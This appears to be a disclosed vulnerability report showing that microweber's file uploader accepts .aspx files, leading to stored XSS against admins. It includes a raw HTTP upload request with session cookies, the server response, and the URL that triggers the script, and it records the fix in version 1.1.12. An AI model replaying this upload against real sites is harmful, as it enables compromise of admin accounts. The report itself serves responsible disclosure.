Unrestricted file upload leads to stored XSS in microweber/microweber


Reported on

Mar 9th 2022


A user can bypass checking and upload .aspx file which lead to stored XSS.

Proof of Concept

  • Log in as admin: https://demo.microweber.org/demo/admin/
  • Go to Websites > Edit a page.
  • Under Pictures, choose Add files
  • Instead of uploading a normal picture, use the below request to upload an aspx file.

-- The request to upload:

POST /demo/plupload HTTP/1.1
Host: demo.microweber.org
Cookie: csrf-token-data=%7B%22value%22%3A%22LbUJYT94IdMzaqSj3tCwbEgp402H94lb3LBdoQK8%22%2C%22expiry%22%3A1646836721840%7D; laravel_session=ZNv8dU4zHigWLlPFd8LQoeMyJtWGy8GK5Su1IA2F; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=2%7CTtYWLvivLcGGOKkv5QqtzWhOA7vw6wZPZIbryyJKGsVNHLLfQ4n75QWDNFH8%7C%242y%2410%24114oPbqv.UAg3ca706prIuSTMe3pAc9qYqT2gOBR1uldB9UTk%2FlYu; back_to_admin=https%3A//demo.microweber.org/demo/admin/
Content-Length: 533
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7ACkSBriVfqdfw4D
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://demo.microweber.org
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.microweber.org/demo/admin/page/24/edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Content-Disposition: form-data; name="name"

Content-Disposition: form-data; name="chunk"

Content-Disposition: form-data; name="chunks"

Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: text/html


The response:

HTTP/1.1 200 OK
Date: Wed, 09 Mar 2022 14:26:01 GMT
Server: Apache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Mar 2022 14:26:01 GMT
Connection: close
Content-Type: application/json
Content-Length: 123



  • Visit https://demo.microweber.org/demo/userfiles/media/default/xss.aspx to confirm the XSS.



If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user, in this case, an admin.

We are processing your report and will contact the microweber team within 24 hours. 2 years ago
Peter Ivanov modified the report
2 years ago
Peter Ivanov validated this vulnerability 2 years ago
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Peter Ivanov marked this as fixed in 1.1.12 with commit d9bae9 2 years ago
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